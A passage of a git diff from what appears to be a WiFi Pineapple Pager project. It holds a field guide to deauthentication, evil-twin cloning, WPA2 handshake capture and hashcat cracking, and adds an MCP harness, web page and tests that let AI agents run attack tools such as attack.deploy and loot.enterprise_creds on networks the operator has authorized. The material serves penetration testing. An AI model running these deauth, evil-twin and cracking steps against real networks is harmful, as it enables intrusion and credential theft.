capture fails and the workaround + +**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes. + +The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture: + +```sh +# single session: background tcpdump, run deauth rounds, listen, kill. +tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$! +... deauth bursts on the same channel ... +sleep +kill $TDPID +``` + +- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures. +- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it. +- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`). + +Analysis one-liners: +```sh +tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix +tshark -r cap -Y eapol -c 10 # 4-way keys +tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored) +tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits +``` +- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin. +- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead. + +## 5. Expected failure mode: PMKSA fast reauth (plan for it) + +On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client. + +**Verified tell-tales on the lab venue:** +- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker. +- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit. +- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**. + +A fresh 4-way occurs only on: +1. A **brand-new client's first association** (new person/device arriving), or +2. A **GTK rekey** (AP-side, typically hourly). + +Mitigations / planning: +- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window. +- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way. +- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely. + +## 6. Handoff to hashcat (once an EAPOL 4-way is captured) + +```sh +hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools +hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt +``` +WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead. + +## 7. Report language when no handshake is captured + +> Deauthentication was successful against (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing. + +If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable. + +## 8. Teardown + +```sh +killall tcpdump # pkill is NOT on this BusyBox +timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon +``` + +Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled). diff --git a/payload/user/remote_access/pager-webui/www/js/app.js b/payload/user/remote_access/pager-webui/www/js/app.js index d665200..ff116b5 100644 --- a/payload/user/remote_access/pager-webui/www/js/app.js +++ b/payload/user/remote_access/pager-webui/www/js/app.js @@ -34,6 +34,7 @@ const App = (() => { { key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' }, { key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' }, { key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' }, + { key: 'harness', label: 'Harness', hash: '#/harness', icon: 'extension' }, { key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' } ]; const railDividers = new Set(['logging']); @@ -418,7 +419,8 @@ const App = (() => { '#/settings/wifi': 'settings_wifi', '#/settings/led': 'settings_led', '#/settings/advanced': 'settings_advanced', - '#/settings/help': 'settings_help' + '#/settings/help': 'settings_help', + '#/harness': 'harness' }; return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p, diff --git a/payload/user/remote_access/pager-webui/www/js/views.js b/payload/user/remote_access/pager-webui/www/js/views.js index 420049e..8b6649a 100644 --- a/payload/user/remote_access/pager-webui/www/js/views.js +++ b/payload/user/remote_access/pager-webui/www/js/views.js @@ -1388,6 +1388,90 @@ function attackLauncher(kind, opts) { }; } +views.harness = (root) => { + root.appendChild(h('h1', { class: 'page-title', text: 'Harness' })); + const box = h('div', {}); + root.appendChild(box); + + const info = h('div', { class: 'pineap-title-card' }); + info.appendChild(h('div', { class: 'pineap-card-title' }, 'Local Harness (MCP)')); + const infoBody = h('div', { style: 'font-size:13px;line-height:1.9' }); + info.appendChild(infoBody); + box.appendChild(info); + + const tok = h('code', { style: 'font-size:12px', text: '…' }); + const endpoint = h('code', { style: 'font-size:12px', text: location.origin + '/mcp' }); + infoBody.appendChild(h('div', { class: 'row' }, h('div', { style: 'min-width:130px', text: 'Endpoint' }), endpoint)); + infoBody.appendChild(h('div', { class: 'row' }, h('div', { style: 'min-width:130px', text: 'Bearer token' }), tok)); + infoBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px', text: 'Agents call POST /mcp with JSON-RPC 2.0 (MCP Streamable HTTP). The token is the current session token.' })); + + const snippet = h('pre', { style: 'font-size:12px;overflow:auto;background:rgba(127,127,127,.12);padding:10px;border-radius:4px;white-space:pre-wrap' }); + const capBox = h('div', { class: 'pineap-title-card' }); + capBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Capabilities')); + const capBody = h('div', { style: 'font-size:13px' }); + capBox.appendChild(capBody); + box.appendChild(capBox); + + const promptBox = h('div', { class: 'pineap-title-card' }); + promptBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Prompt for pi.dev')); + const promptArea = h('textarea', { rows: 14, style: 'width:100%;font-family:monospace;font-size:12px;box-sizing:border-box' }); + promptBox.appendChild(promptArea); + promptBox.appendChild(h('div', { class: 'row', style: 'margin-top:8px' }, + h('div', {}, btn('Copy Prompt', () => { + promptArea.select(); + document.execCommand('copy'); + App.toast('Copied'); + })), + h('div', {}, btn('Copy Token', () => { + navigator.clipboard.writeText(tok.textContent).then(() => App.toast('Token copied')) + .catch(() => App.toast('Copy failed', 'error')); + })))); + box.appendChild(promptBox); + + function buildPrompt(token) { + return 'You are driving a WiFi Pineapple Pager (FENRIS firmware) through its local MCP harness.\n' + + 'Endpoint: ' + location.origin + '/mcp (Streamable HTTP, POST JSON-RPC 2.0).\n' + + 'Authorization: Bearer ' + token + '\n\n' + + 'Before acting, read these resources (MCP resources/read) — they are the field-verified operating manual:\n' + + ' skills://pineapple-control (device access, radios, UCI truth, pineapd crash-loop fix)\n' + + ' skills://wifi-deauth (deauth + handshake methodology, PMKSA failure modes)\n' + + ' skills://aircrack-suite (hashcat handoff)\n\n' + + 'Rules:\n' + + '1. The DEVICE is the source of truth: read device.state / UCI before and after every change; never assume.\n' + + '2. Only attack the network the operator explicitly authorized (currently ). No deauth blasts — short targeted bursts.\n' + + '3. After attack.deploy, verify with attack.status (live flag) before proceeding.\n' + + '4. Use the playbook prompts (prompts/get): evil-wpa-attack, evil-enterprise-attack, recon-survey.\n' + + '5. Report verified outcomes only; say what you changed on the device.'; + } + + function load() { + PagerAPI.get('/api/harness/capabilities').then((r) => { + const d = r.data || {}; + capBody.innerHTML = ''; + const tools = d.tools || []; + const prompts = d.prompts || []; + capBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px', + text: tools.length + ' tools, ' + prompts.length + ' playbooks, ' + + ((d.resources || []).length) + ' resources' })); + const list = h('ul', { style: 'font-size:12px;padding-left:18px' }); + tools.forEach((t) => list.appendChild(h('li', { text: t.name + ' — ' + t.description }))); + capBody.appendChild(list); + }).catch(() => {}); + PagerAPI.get('/api/harness/token').then((r) => { + const t = (r.data || {}).token || ''; + tok.textContent = t ? t.slice(0, 12) + '…' : '(none)'; + snippet.textContent = 'curl -s -X POST ' + location.origin + '/mcp \\\n' + + ' -H "Content-Type: application/json" \\\n' + + ' -H "Authorization: Bearer ' + t + '" \\\n' + + ' -d \'{"jsonrpc":"2.0","id":1,"method":"tools/list"}\''; + promptArea.value = buildPrompt(t); + infoBody.appendChild(snippet); + }).catch(() => {}); + } + load(); + return { destroy: () => {} }; +}; + function deauthPanel() { const wrap = h('div', { class: 'pineap-title-card' }); wrap.appendChild(h('div', { class: 'pineap-card-title' }, 'Deauth Targeting')); diff --git a/scripts/harness_stdio.py b/scripts/harness_stdio.py new file mode 100644 index 0000000..8c3efa9 --- /dev/null +++ b/scripts/harness_stdio.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python3 +"""stdio bridge to the Mark VIII MCP server. + +Agents that only support stdio transport can run: + + MCP_URL=http://172.16.52.1:8080/mcp \ + MCP_TOKEN= \ + python3 scripts/harness_stdio.py + +JSON-RPC messages are read line-by-line from stdin (one JSON object per +line, no embedded newlines) and forwarded to the Mark VIII Streamable-HTTP +MCP endpoint. Responses are printed back on stdout as single-line JSON. + +Get a token from the Mark VIII Harness page, or fetch one: + + curl -s -X POST http://172.16.52.1:8080/api/login \ + -H 'Content-Type: application/json' \ + -d '{"username":"root","password":""}' \ + -c cookies.txt +""" +import json +import os +import sys +import urllib.request + +URL = os.environ.get('MCP_URL', 'http://172.16.52.1:8080/mcp') +TOKEN = os.environ.get('MCP_TOKEN', '') + + +def forward(msg): + data = json.dumps(msg).encode() + req = urllib.request.Request(URL, data=data, method='POST') + req.add_header('Content-Type', 'application/json') + req.add_header('Accept', 'application/json, text/event-stream') + if TOKEN: + req.add_header('Authorization', 'Bearer ' + TOKEN) + try: + with urllib.request.urlopen(req, timeout=120) as resp: + return resp.read().decode() + except urllib.error.HTTPError as exc: + return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'), + 'error': {'code': exc.code, 'message': exc.read().decode()[:300]}}) + except Exception as exc: # noqa: BLE001 + return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'), + 'error': {'code': -32000, 'message': str(exc)}}) + + +def main(): + if not TOKEN: + print('warning: MCP_TOKEN not set; server will reject calls', file=sys.stderr) + for line in sys.stdin: + line = line.strip() + if not line: + continue + try: + msg = json.loads(line) + except ValueError: + print(json.dumps({'jsonrpc': '2.0', 'id': None, + 'error': {'code': -32700, 'message': 'parse error'}})) + continue + print(forward(msg), flush=True) + + +if __name__ == '__main__': + main() diff --git a/tests/test_mcp.py b/tests/test_mcp.py new file mode 100644 index 0000000..f843afc --- /dev/null +++ b/tests/test_mcp.py @@ -0,0 +1,123 @@ +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui')) +import server + + +def setUpModule(): + __import__('importlib').reload(server) + + +def ctx(body=None, headers=None): + H = type('H', (), {'headers': headers or {}})() + return type('C', (), {'body': body, 'args': (), 'query': {}, 'h': H})() + + +class McpDispatchTest(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix='pager-mcp-') + self.old_session = server.SESSION_FILE + self.old_device_run = server.device_run + self.old_daemon_sock_call = server.daemon_sock_call + server.SESSION_FILE = os.path.join(self.tmp, 'session.json') + with open(server.SESSION_FILE, 'w') as f: + import json + json.dump({'token': 't0k3n', 'serverid': 'x'}, f) + server.device_run = lambda args, timeout=20, input_data=None: (0, '', '') + server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, { + 'pineap_disabled': False, 'pineape_disabled': True, + 'autossidpool': True}) + + def tearDown(self): + server.SESSION_FILE = self.old_session + server.device_run = self.old_device_run + server.daemon_sock_call = self.old_daemon_sock_call + shutil.rmtree(self.tmp) + + def msg(self, method, params=None, mid=1, jsonrpc='2.0'): + m = {'jsonrpc': jsonrpc, 'id': mid, 'method': method} + if params is not None: + m['params'] = params + return m + + def test_initialize_negotiates_protocol(self): + status, body = server._mcp_dispatch(self.msg('initialize', {'protocolVersion': '2025-06-18'})) + self.assertEqual(status, 200) + self.assertEqual(body['result']['protocolVersion'], '2025-06-18') + self.assertIn('tools', body['result']['capabilities']) + self.assertEqual(body['result']['serverInfo']['name'], 'mark-viii') + + def test_tools_list_has_attack_and_recon_tools(self): + status, body = server._mcp_dispatch(self.msg('tools/list')) + names = [t['name'] for t in body['result']['tools']] + self.assertIn('attack.deploy', names) + self.assertIn('device.state', names) + self.assertIn('recon.isearch', names) + self.assertIn('loot.enterprise_creds', names) + + def test_tools_call_unknown_tool_errors(self): + status, body = server._mcp_dispatch(self.msg('tools/call', {'name': 'nope', 'arguments': {}})) + self.assertEqual(body['error']['code'], -32602) + + def test_ping(self): + status, body = server._mcp_dispatch(self.msg('ping')) + self.assertEqual(body['result'], {}) + + def test_notifications_initialized_returns_202(self): + status, body = server._mcp_dispatch({'jsonrpc': '2.0', 'method': 'notifications/initialized'}) + self.assertEqual(status, 202) + self.assertIsNone(body) + + def test_resources_list_includes_skills(self): + status, body = server._mcp_dispatch(self.msg('resources/list')) + uris = [r['uri'] for r in body['result']['resources']] + self.assertIn('skills://pineapple-control', uris) + self.assertIn('device://state', uris) + + def test_prompts_list_includes_playbooks(self): + status, body = server._mcp_dispatch(self.msg('prompts/list')) + names = [p['name'] for p in body['result']['prompts']] + self.assertIn('evil-wpa-attack', names) + self.assertIn('evil-enterprise-attack', names) + + def test_bad_jsonrpc_rejected(self): + status, body = server._mcp_dispatch({'jsonrpc': '1.0', 'id': 1, 'method': 'ping'}) + self.assertEqual(body['error']['code'], -32600) + + def test_endpoint_auth_accepts_bearer_token(self): + status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer t0k3n'})) + self.assertEqual(status, 200) + self.assertEqual(body['result'], {}) + + def test_endpoint_auth_rejects_bad_token(self): + status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer wrong'})) + self.assertEqual(status, 401) + + def test_deploy_tool_wraps_attack_handler(self): + server._uci_wifi_iface = lambda name: {} + server._uci_section = lambda name: {} + server._verify_iface = lambda name, timeout=20: True + server._allow_all_ssids = lambda: True + server._deploy_enterprise = lambda args: {'ok': True, 'verified': True, + 'iface': 'wlan1ent', 'band': '5'} + status, body = server._mcp_dispatch(self.msg('tools/call', { + 'name': 'attack.deploy', + 'arguments': {'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', 'channel': 36}})) + self.assertEqual(status, 200) + text = body['result']['content'][0]['text'] + self.assertIn('"verified": true', text) + + def test_capabilities_endpoint(self): + status, body = server.h_harness_capabilities(ctx()) + self.assertEqual(status, 200) + self.assertEqual(body['endpoint'], '/mcp') + self.assertIn('attack.deploy', [t['name'] for t in body['tools']]) + self.assertIn('skills://wifi-deauth', [r['uri'] for r in body['resources']]) + + +if __name__ == '__main__': + unittest.main()